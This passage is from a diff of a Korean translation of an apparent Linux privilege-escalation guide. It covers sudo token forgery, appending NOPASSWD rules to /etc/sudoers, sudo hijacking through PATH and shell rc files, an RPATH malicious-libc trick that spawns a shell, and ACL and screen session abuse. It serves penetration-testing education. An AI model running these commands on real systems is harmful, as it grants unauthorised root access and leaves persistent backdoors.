**์ž…๋‹ˆ๋‹ค +- ๋‘ ๋ฒˆ์งธ **exploit** (`exploit_v2.sh`)๋Š” _/tmp_์— **root ์†Œ์œ ์ด๋ฉฐ setuid๊ฐ€ ์„ค์ •๋œ** sh ์…ธ์„ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค ```bash bash exploit_v2.sh /tmp/sh -p ``` -- The **third exploit** (`exploit_v3.sh`)๋Š” **sudoers file์„ ์ƒ์„ฑ**ํ•˜์—ฌ **sudo tokens์„ ์˜๊ตฌํ™”ํ•˜๊ณ  ๋ชจ๋“  ์‚ฌ์šฉ์ž๊ฐ€ sudo๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋„๋ก ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค** +- **์„ธ ๋ฒˆ์งธ exploit** (`exploit_v3.sh`)๋Š” **sudoers file์„ ์ƒ์„ฑ**ํ•˜์—ฌ **sudo tokens๋ฅผ ์˜๊ตฌํ™”ํ•˜๊ณ  ๋ชจ๋“  ์‚ฌ์šฉ์ž๊ฐ€ sudo๋ฅผ ์‚ฌ์šฉํ•˜๋„๋ก ํ—ˆ์šฉ**ํ•ฉ๋‹ˆ๋‹ค ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -ํด๋” ๋˜๋Š” ํด๋” ๋‚ด์— ์ƒ์„ฑ๋œ ํŒŒ์ผ๋“ค ์ค‘ ์–ด๋Š ํ•˜๋‚˜์— ๋Œ€ํ•ด **์“ฐ๊ธฐ ๊ถŒํ•œ**์ด ์žˆ๋‹ค๋ฉด, ์ด ๋ฐ”์ด๋„ˆ๋ฆฌ [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools)์„ ์‚ฌ์šฉํ•˜์—ฌ ์‚ฌ์šฉ์ž์™€ PID์— ๋Œ€ํ•œ **sudo token**์„ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.\ -์˜ˆ๋ฅผ ๋“ค์–ด, ํŒŒ์ผ _/var/run/sudo/ts/sampleuser_์„ ๋ฎ์–ด์“ธ ์ˆ˜ ์žˆ๊ณ  ํ•ด๋‹น ์‚ฌ์šฉ์ž๋กœ PID 1234์˜ ์…ธ์ด ์žˆ๋‹ค๋ฉด, ์•”ํ˜ธ๋ฅผ ์•Œ ํ•„์š” ์—†์ด ๋‹ค์Œ๊ณผ ๊ฐ™์ด **sudo ๊ถŒํ•œ์„ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**: +ํด๋” ๋˜๋Š” ํด๋” ๋‚ด์— ์ƒ์„ฑ๋œ ํŒŒ์ผ๋“ค ์ค‘ ์–ด๋–ค ํŒŒ์ผ์— ๋Œ€ํ•ด **write permissions**๊ฐ€ ์žˆ๋Š” ๊ฒฝ์šฐ, ๋ฐ”์ด๋„ˆ๋ฆฌ [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools)์„ ์‚ฌ์šฉํ•˜์—ฌ **create a sudo token for a user and PID**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.\ +์˜ˆ๋ฅผ ๋“ค์–ด, ํŒŒ์ผ _/var/run/sudo/ts/sampleuser_๋ฅผ ๋ฎ์–ด์“ธ ์ˆ˜ ์žˆ๊ณ  ํ•ด๋‹น ์‚ฌ์šฉ์ž๋กœ์„œ PID 1234์ธ shell์ด ์žˆ๋‹ค๋ฉด, ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์•Œ ํ•„์š” ์—†์ด **obtain sudo privileges**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -ํŒŒ์ผ `/etc/sudoers` ๋ฐ `/etc/sudoers.d` ๋‚ด๋ถ€์˜ ํŒŒ์ผ๋“ค์€ ๋ˆ„๊ฐ€ `sudo`๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š”์ง€์™€ ๊ทธ ๋ฐฉ์‹์„ ๊ตฌ์„ฑํ•ฉ๋‹ˆ๋‹ค. ์ด ํŒŒ์ผ๋“ค์€ **๊ธฐ๋ณธ์ ์œผ๋กœ user root์™€ group root๋งŒ ์ฝ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**.\ -**๋งŒ์•ฝ** ์ด ํŒŒ์ผ์„ **์ฝ์„ ์ˆ˜ ์žˆ๋‹ค๋ฉด**, **ํฅ๋ฏธ๋กœ์šด ์ •๋ณด๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**, ๊ทธ๋ฆฌ๊ณ  ์–ด๋–ค ํŒŒ์ผ์— **์“ธ ์ˆ˜ ์žˆ๋‹ค๋ฉด**, **escalate privileges**๋ฅผ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +ํŒŒ์ผ `/etc/sudoers`์™€ `/etc/sudoers.d` ์•ˆ์˜ ํŒŒ์ผ๋“ค์€ ๋ˆ„๊ฐ€ `sudo`๋ฅผ ์–ด๋–ป๊ฒŒ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค. ์ด ํŒŒ์ผ๋“ค์€ **๊ธฐ๋ณธ์ ์œผ๋กœ root ์‚ฌ์šฉ์ž์™€ root ๊ทธ๋ฃน๋งŒ ์ฝ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**.\ +**๋งŒ์•ฝ** ์ด ํŒŒ์ผ์„ **์ฝ์„ ์ˆ˜ ์žˆ๋‹ค๋ฉด** ํฅ๋ฏธ๋กœ์šด ์ •๋ณด๋ฅผ **์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**, ๊ทธ๋ฆฌ๊ณ  ์–ด๋–ค ํŒŒ์ผ์„ **์“ธ ์ˆ˜ ์žˆ๋‹ค๋ฉด** **escalate privileges** ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -์“ฐ๊ธฐ ๊ถŒํ•œ์ด ์žˆ์œผ๋ฉด ์ด ๊ถŒํ•œ์„ ์•…์šฉํ•  ์ˆ˜ ์žˆ๋‹ค +์“ฐ๊ธฐ ๊ถŒํ•œ์ด ์žˆ์œผ๋ฉด ์ด ๊ถŒํ•œ์„ ์•…์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README ``` -์ด๋Ÿฌํ•œ ๊ถŒํ•œ์„ ์•…์šฉํ•˜๋Š” ๋˜ ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•: +์ด ๊ถŒํ•œ๋“ค์„ ์•…์šฉํ•˜๋Š” ๋˜ ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•: ```bash # makes it so every terminal can sudo echo "Defaults !tty_tickets" > /etc/sudoers.d/win @@ -1058,15 +1063,15 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -`sudo` ๋ฐ”์ด๋„ˆ๋ฆฌ์˜ ๋Œ€์•ˆ์œผ๋กœ OpenBSD์šฉ `doas` ๊ฐ™์€ ๊ฒƒ์ด ์žˆ์œผ๋‹ˆ ๊ตฌ์„ฑ ํŒŒ์ผ์ธ `/etc/doas.conf`๋ฅผ ํ™•์ธํ•˜์„ธ์š”. +`sudo` ๋ฐ”์ด๋„ˆ๋ฆฌ์˜ ๋Œ€์•ˆ์œผ๋กœ OpenBSD์šฉ `doas` ๊ฐ™์€ ๊ฒƒ๋“ค์ด ์žˆ์œผ๋‹ˆ, ์„ค์ •์„ `/etc/doas.conf`์—์„œ ํ™•์ธํ•˜์„ธ์š”. ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -๋งŒ์•ฝ **์‚ฌ์šฉ์ž๊ฐ€ ์ผ๋ฐ˜์ ์œผ๋กœ ๋จธ์‹ ์— ์ ‘์†ํ•ด `sudo`๋ฅผ ์‚ฌ์šฉ**ํ•˜์—ฌ ๊ถŒํ•œ์„ ์ƒ์Šน์‹œํ‚ค๊ณ , ํ•ด๋‹น ์‚ฌ์šฉ์ž ์ปจํ…์ŠคํŠธ์—์„œ ์‰˜์„ ์–ป์—ˆ๋‹ค๋ฉด, **์ƒˆ๋กœ์šด sudo executable์„ ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**. ์ด ์‹คํ–‰ํŒŒ์ผ์€ ๋จผ์ € root๋กœ ๋‹น์‹ ์˜ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•œ ๋‹ค์Œ ์‚ฌ์šฉ์ž์˜ ๋ช…๋ น์„ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฐ ๋‹ค์Œ ์‚ฌ์šฉ์ž ์ปจํ…์ŠคํŠธ์˜ **$PATH๋ฅผ ์ˆ˜์ •**(์˜ˆ: .bash_profile์— ์ƒˆ ๊ฒฝ๋กœ๋ฅผ ์ถ”๊ฐ€)ํ•˜์—ฌ ์‚ฌ์šฉ์ž๊ฐ€ sudo๋ฅผ ์‹คํ–‰ํ•  ๋•Œ ๋‹น์‹ ์˜ sudo executable์ด ์‹คํ–‰๋˜๋„๋ก ํ•ฉ๋‹ˆ๋‹ค. +**์‚ฌ์šฉ์ž๊ฐ€ ์ผ๋ฐ˜์ ์œผ๋กœ ๋จธ์‹ ์— ์ ‘์†ํ•ด `sudo`๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒฝ์šฐ** ๊ถŒํ•œ ์ƒ์Šน์„ ์œ„ํ•ด ํ•ด๋‹น ์‚ฌ์šฉ์ž ์ปจํ…์ŠคํŠธ์—์„œ ์‰˜์„ ์–ป์—ˆ๋‹ค๋ฉด, **create a new sudo executable**์„ ๋งŒ๋“ค์–ด ๋จผ์ € ๋ฃจํŠธ๋กœ ๋‹น์‹ ์˜ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๊ณ  ๊ทธ ๋‹ค์Œ ์‚ฌ์šฉ์ž์˜ ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๊ฒŒ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฐ ๋‹ค์Œ ์‚ฌ์šฉ์ž ์ปจํ…์ŠคํŠธ์˜ **$PATH**๋ฅผ ์ˆ˜์ •(์˜ˆ: .bash_profile์— ์ƒˆ ๊ฒฝ๋กœ๋ฅผ ์ถ”๊ฐ€)ํ•˜์—ฌ ์‚ฌ์šฉ์ž๊ฐ€ sudo๋ฅผ ์‹คํ–‰ํ•  ๋•Œ ๋‹น์‹ ์˜ sudo ์‹คํ–‰ ํŒŒ์ผ์ด ์‹คํ–‰๋˜๋„๋ก ํ•ฉ๋‹ˆ๋‹ค. -์‚ฌ์šฉ์ž๊ฐ€ ๋‹ค๋ฅธ ์‰˜(์˜ˆ: bash๊ฐ€ ์•„๋‹Œ)์„ ์‚ฌ์šฉํ•˜๋ฉด ์ƒˆ ๊ฒฝ๋กœ๋ฅผ ์ถ”๊ฐ€ํ•˜๊ธฐ ์œ„ํ•ด ๋‹ค๋ฅธ ํŒŒ์ผ๋“ค์„ ์ˆ˜์ •ํ•ด์•ผ ํ•œ๋‹ค๋Š” ์ ์— ์œ ์˜ํ•˜์„ธ์š”. ์˜ˆ๋ฅผ ๋“ค์–ด[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifies `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. You can find another example in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +์ฐธ๊ณ ๋กœ ์‚ฌ์šฉ์ž๊ฐ€ ๋‹ค๋ฅธ ์…ธ(bash๊ฐ€ ์•„๋‹Œ)์„ ์‚ฌ์šฉํ•˜๋ฉด ์ƒˆ ๊ฒฝ๋กœ๋ฅผ ์ถ”๊ฐ€ํ•˜๊ธฐ ์œ„ํ•ด ๋‹ค๋ฅธ ํŒŒ์ผ๋“ค์„ ์ˆ˜์ •ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) ๋Š” `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`๋ฅผ ์ˆ˜์ •ํ•ฉ๋‹ˆ๋‹ค. ๋‹ค๋ฅธ ์˜ˆ์‹œ๋Š” [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)์—์„œ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋˜๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์‹คํ–‰ํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค: ```bash @@ -1087,13 +1092,13 @@ sudo ls ### ld.so -`/etc/ld.so.conf` ํŒŒ์ผ์€ **๋กœ๋“œ๋˜๋Š” ๊ตฌ์„ฑ ํŒŒ์ผ๋“ค์ด ์–ด๋””์—์„œ ์˜ค๋Š”์ง€**๋ฅผ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค. ์ผ๋ฐ˜์ ์œผ๋กœ ์ด ํŒŒ์ผ์—๋Š” ๋‹ค์Œ ๊ฒฝ๋กœ๊ฐ€ ํฌํ•จ๋ฉ๋‹ˆ๋‹ค: `include /etc/ld.so.conf.d/*.conf` +The file `/etc/ld.so.conf` indicates **where the loaded configurations files are from**. Typically, this file contains the following path: `include /etc/ld.so.conf.d/*.conf` -์ฆ‰ `/etc/ld.so.conf.d/*.conf`์— ์žˆ๋Š” ๊ตฌ์„ฑ ํŒŒ์ผ๋“ค์ด ์ฝํž™๋‹ˆ๋‹ค. ์ด ๊ตฌ์„ฑ ํŒŒ์ผ๋“ค์€ **๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ๊ฒ€์ƒ‰ํ•  ๋‹ค๋ฅธ ํด๋”๋“ค**์„ ๊ฐ€๋ฆฌํ‚ต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด `/etc/ld.so.conf.d/libc.conf`์˜ ๋‚ด์šฉ์ด `/usr/local/lib`๋ผ๋ฉด, **์‹œ์Šคํ…œ์€ `/usr/local/lib` ๋‚ด๋ถ€์—์„œ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ๊ฒ€์ƒ‰ํ•ฉ๋‹ˆ๋‹ค**. - -๋งŒ์•ฝ ์–ด๋–ค ์ด์œ ๋กœ๋“  ์ง€์ •๋œ ๊ฒฝ๋กœ๋“ค(`/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, `/etc/ld.so.conf.d/` ๋‚ด๋ถ€์˜ ์–ด๋–ค ํŒŒ์ผ ๋˜๋Š” `/etc/ld.so.conf.d/*.conf` ์•ˆ์˜ ๊ตฌ์„ฑ ํŒŒ์ผ์ด ๊ฐ€๋ฆฌํ‚ค๋Š” ์–ด๋–ค ํด๋”)์— ๋Œ€ํ•ด **์‚ฌ์šฉ์ž์—๊ฒŒ ์“ฐ๊ธฐ ๊ถŒํ•œ์ด ์žˆ๋‹ค๋ฉด**, ๊ทธ ์‚ฌ์šฉ์ž๋Š” ๊ถŒํ•œ ์ƒ์Šน์„ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.\ -๋‹ค์Œ ํŽ˜์ด์ง€์—์„œ ์ด ์ž˜๋ชป๋œ ๊ตฌ์„ฑ์„ **์–ด๋–ป๊ฒŒ ์•…์šฉํ•˜๋Š”์ง€**๋ฅผ ํ™•์ธํ•˜์„ธ์š”: +That means that the configuration files from `/etc/ld.so.conf.d/*.conf` will be read. This configuration files **points to other folders** where **libraries** are going to be **searched** for. For example, the content of `/etc/ld.so.conf.d/libc.conf` is `/usr/local/lib`. **This means that the system will search for libraries inside `/usr/local/lib`**. +If for some reason **a user has write permissions** on any of the paths indicated: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, any file inside `/etc/ld.so.conf.d/` or any folder within the config file inside `/etc/ld.so.conf.d/*.conf` he may be able to escalate privileges.\ +๋‹ค์Œ ๊ฒฝ๋กœ๋“ค ์ค‘ ์–ด๋Š ํ•˜๋‚˜์— ๋Œ€ํ•ด **์‚ฌ์šฉ์ž์—๊ฒŒ ์“ฐ๊ธฐ ๊ถŒํ•œ์ด ์žˆ๋Š” ๊ฒฝ์šฐ**: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, `/etc/ld.so.conf.d/` ๋‚ด์˜ ํŒŒ์ผ ๋˜๋Š” `/etc/ld.so.conf.d/*.conf`์— ์ง€์ •๋œ ๊ตฌ์„ฑ ํŒŒ์ผ ์•ˆ์˜ ํด๋”๋ผ๋ฉด ๊ถŒํ•œ ์ƒ์Šน์ด ๊ฐ€๋Šฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.\ +๋‹ค์Œ ํŽ˜์ด์ง€์—์„œ ์ด ์ž˜๋ชป๋œ ๊ตฌ์„ฑ(**misconfiguration**)์„ **์–ด๋–ป๊ฒŒ ์•…์šฉํ•˜๋Š”์ง€**๋ฅผ ํ™•์ธํ•˜์„ธ์š”: {{#ref}} ld.so.conf-example.md @@ -1110,7 +1115,7 @@ linux-gate.so.1 => (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -lib๋ฅผ `/var/tmp/flag15/`๋กœ ๋ณต์‚ฌํ•˜๋ฉด `RPATH` ๋ณ€์ˆ˜์— ์ง€์ •๋œ ๋Œ€๋กœ ํ”„๋กœ๊ทธ๋žจ์ด ์ด ์œ„์น˜์˜ lib๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. +lib๋ฅผ `/var/tmp/flag15/`๋กœ ๋ณต์‚ฌํ•˜๋ฉด `RPATH` ๋ณ€์ˆ˜์— ์ง€์ •๋œ ๋Œ€๋กœ ํ•ด๋‹น ์œ„์น˜์—์„œ ํ”„๋กœ๊ทธ๋žจ์— ์˜ํ•ด ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1119,7 +1124,7 @@ linux-gate.so.1 => (0x005b0000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x00737000) ``` -๊ทธ๋Ÿฐ ๋‹ค์Œ `/var/tmp`์— ์•…์„ฑ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ƒ์„ฑํ•˜์„ธ์š”: `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` +๊ทธ๋Ÿฐ ๋‹ค์Œ `/var/tmp`์— ์•…์„ฑ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ๋‹ค์Œ ๋ช…๋ น์œผ๋กœ ์ƒ์„ฑํ•˜์„ธ์š”: `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` ```c #include #define SHELL "/bin/sh" @@ -1134,8 +1139,8 @@ execve(file,argv,0); ``` ## Capabilities -Linux capabilities๋Š” ํ”„๋กœ์„ธ์Šค์— ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” root ๊ถŒํ•œ์˜ **ํ•˜์œ„ ์ง‘ํ•ฉ**์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” root ๊ถŒํ•œ์„ **๋” ์ž‘๊ณ  ๊ตฌ๋ณ„๋˜๋Š” ๋‹จ์œ„๋“ค**๋กœ ๋ถ„ํ•ดํ•˜๋Š” ํšจ๊ณผ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ฐ ๋‹จ์œ„๋Š” ๊ฐœ๋ณ„์ ์œผ๋กœ ํ”„๋กœ์„ธ์Šค์— ๋ถ€์—ฌ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋ ‡๊ฒŒ ์ „์ฒด ๊ถŒํ•œ ์„ธํŠธ๊ฐ€ ์ถ•์†Œ๋˜์–ด ์•…์šฉ ์œ„ํ—˜์ด ๊ฐ์†Œํ•ฉ๋‹ˆ๋‹ค.\ -๋‹ค์Œ ํŽ˜์ด์ง€๋ฅผ ์ฝ์–ด **capabilities์™€ ์ด๋ฅผ ์•…์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•**์— ๋Œ€ํ•ด ๋” ์•Œ์•„๋ณด์„ธ์š”: +Linux capabilities๋Š” ํ”„๋กœ์„ธ์Šค์— ์ œ๊ณต๋˜๋Š” **root ๊ถŒํ•œ์˜ ํ•˜์œ„ ์ง‘ํ•ฉ**์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” root ๊ถŒํ•œ์„ **๋” ์ž‘๊ณ  ๊ฐœ๋ณ„์ ์ธ ๋‹จ์œ„๋“ค๋กœ ๋ถ„ํ•ด**ํ•˜๋Š” ํšจ๊ณผ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋“ค ๊ฐ ๋‹จ์œ„๋Š” ๊ฐœ๋ณ„์ ์œผ๋กœ ํ”„๋กœ์„ธ์Šค์— ๋ถ€์—ฌ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋ ‡๊ฒŒ ํ•˜๋ฉด ์ „์ฒด ๊ถŒํ•œ ์ง‘ํ•ฉ์ด ์ค„์–ด๋“ค์–ด exploitation์˜ ์œ„ํ—˜์ด ๊ฐ์†Œํ•ฉ๋‹ˆ๋‹ค.\ +๋‹ค์Œ ํŽ˜์ด์ง€๋ฅผ ์ฐธ๊ณ ํ•˜์—ฌ **capabilities์™€ ์ด๋ฅผ ๋‚จ์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•**์— ๋Œ€ํ•ด ์ž์„ธํžˆ ์•Œ์•„๋ณด์„ธ์š”: {{#ref}} @@ -1144,32 +1149,32 @@ linux-capabilities.md ## Directory permissions -๋””๋ ‰ํ„ฐ๋ฆฌ์—์„œ **"execute" ๋น„ํŠธ**๋Š” ํ•ด๋‹น ์‚ฌ์šฉ์ž๊ฐ€ **"cd"** ํ•ด์„œ ํด๋”๋กœ ๋“ค์–ด๊ฐˆ ์ˆ˜ ์žˆ์Œ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค.\ -**"read"** ๋น„ํŠธ๋Š” ์‚ฌ์šฉ์ž๊ฐ€ **files๋ฅผ list**ํ•  ์ˆ˜ ์žˆ์Œ์„ ์˜๋ฏธํ•˜๊ณ , **"write"** ๋น„ํŠธ๋Š” ์‚ฌ์šฉ์ž๊ฐ€ **files๋ฅผ delete**ํ•˜๊ณ  ์ƒˆ๋กœ์šด **files๋ฅผ create**ํ•  ์ˆ˜ ์žˆ์Œ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค. +๋””๋ ‰ํ„ฐ๋ฆฌ์—์„œ, **bit for "execute"**๋Š” ํ•ด๋‹น ์‚ฌ์šฉ์ž๊ฐ€ "**cd**"๋กœ ํด๋”์— ๋“ค์–ด๊ฐˆ ์ˆ˜ ์žˆ์Œ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค.\ +**"read"** ๋น„ํŠธ๋Š” ์‚ฌ์šฉ์ž๊ฐ€ **list** **files**ํ•  ์ˆ˜ ์žˆ์Œ์„ ์˜๋ฏธํ•˜๊ณ , **"write"** ๋น„ํŠธ๋Š” ์‚ฌ์šฉ์ž๊ฐ€ **delete** ๋ฐ **create** ์ƒˆ **files**ํ•  ์ˆ˜ ์žˆ์Œ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค. ## ACLs -Access Control Lists (ACLs)๋Š” ์ „ํ†ต์ ์ธ ugo/rwx ๊ถŒํ•œ์„ **overriding**ํ•  ์ˆ˜ ์žˆ๋Š” ์ž„์˜ ๊ถŒํ•œ์˜ 2์ฐจ ๊ณ„์ธต์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๊ถŒํ•œ์€ ์†Œ์œ ์ž๋„ ์•„๋‹ˆ๊ณ  ๊ทธ๋ฃน์˜ ๊ตฌ์„ฑ์›๋„ ์•„๋‹Œ ํŠน์ • ์‚ฌ์šฉ์ž์—๊ฒŒ ๊ถŒํ•œ์„ ํ—ˆ์šฉํ•˜๊ฑฐ๋‚˜ ๊ฑฐ๋ถ€ํ•จ์œผ๋กœ์จ ํŒŒ์ผ ๋˜๋Š” ๋””๋ ‰ํ† ๋ฆฌ ์ ‘๊ทผ์— ๋Œ€ํ•œ ์ œ์–ด๋ฅผ ๊ฐ•ํ™”ํ•ฉ๋‹ˆ๋‹ค. ์ด ์ˆ˜์ค€์˜ **์„ธ๋ถ„ํ™”๋Š” ๋ณด๋‹ค ์ •๋ฐ€ํ•œ ์ ‘๊ทผ ๊ด€๋ฆฌ๋ฅผ ๋ณด์žฅ**ํ•ฉ๋‹ˆ๋‹ค. ์ž์„ธํ•œ ๋‚ด์šฉ์€ [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux)์—์„œ ํ™•์ธํ•˜์„ธ์š”. +Access Control Lists (ACLs)๋Š” ์žฌ๋Ÿ‰์  ๊ถŒํ•œ์˜ 2์ฐจ ๊ณ„์ธต์„ ๋‚˜ํƒ€๋‚ด๋ฉฐ, ์ „ํ†ต์ ์ธ ugo/rwx ๊ถŒํ•œ์„ **overriding**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๊ถŒํ•œ์€ ์†Œ์œ ์ž๋‚˜ ๊ทธ๋ฃน์— ์†ํ•˜์ง€ ์•Š๋Š” ํŠน์ • ์‚ฌ์šฉ์ž์—๊ฒŒ ๊ถŒํ•œ์„ ํ—ˆ์šฉํ•˜๊ฑฐ๋‚˜ ๊ฑฐ๋ถ€ํ•จ์œผ๋กœ์จ ํŒŒ์ผ ๋˜๋Š” ๋””๋ ‰ํ„ฐ๋ฆฌ ์ ‘๊ทผ์— ๋Œ€ํ•œ ์ œ์–ด๋ฅผ ๊ฐ•ํ™”ํ•ฉ๋‹ˆ๋‹ค. ์ด ์ˆ˜์ค€์˜ **์„ธ๋ถ„ํ™”๋Š” ๋ณด๋‹ค ์ •๋ฐ€ํ•œ ์ ‘๊ทผ ๊ด€๋ฆฌ๋ฅผ ๋ณด์žฅ**ํ•ฉ๋‹ˆ๋‹ค. ์ž์„ธํ•œ ๋‚ด์šฉ์€ [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux)์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -**๋ถ€์—ฌ** ์‚ฌ์šฉ์ž "kali"์—๊ฒŒ ํŒŒ์ผ์— ๋Œ€ํ•œ read ๋ฐ write ๊ถŒํ•œ: +**Give** user "kali"์—๊ฒŒ ํŒŒ์ผ์— ๋Œ€ํ•œ read ๋ฐ write ๊ถŒํ•œ์„ ๋ถ€์—ฌ: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` -**๊ฐ€์ ธ์˜ค๊ธฐ** ์‹œ์Šคํ…œ์—์„œ ํŠน์ • ACL์„ ๊ฐ€์ง„ ํŒŒ์ผ: +**์‹œ์Šคํ…œ์—์„œ ํŠน์ • ACLs๋ฅผ ๊ฐ€์ง„ ํŒŒ์ผ ๊ฐ€์ ธ์˜ค๊ธฐ:** ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` ## ์—ด๋ฆฐ shell ์„ธ์…˜ -**๊ตฌ๋ฒ„์ „**์—์„œ๋Š” ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž(**root**)์˜ **shell** ์„ธ์…˜์„ **hijack**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.\ -**์ตœ์‹  ๋ฒ„์ „**์—์„œ๋Š” **connect**ํ•  ์ˆ˜ ์žˆ๋Š” ๋Œ€์ƒ์ด ์˜ค์ง **์ž์‹ ์˜ user**์˜ screen ์„ธ์…˜๋ฟ์ž…๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ **์„ธ์…˜ ๋‚ด๋ถ€์˜ ํฅ๋ฏธ๋กœ์šด ์ •๋ณด**๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +**old versions**์—์„œ๋Š” ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž(**root**)์˜ ์ผ๋ถ€ **shell** ์„ธ์…˜์„ **hijack**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.\ +**newest versions**์—์„œ๋Š” **your own user**์˜ screen ์„ธ์…˜์—๋งŒ **connect**ํ•  ์ˆ˜ 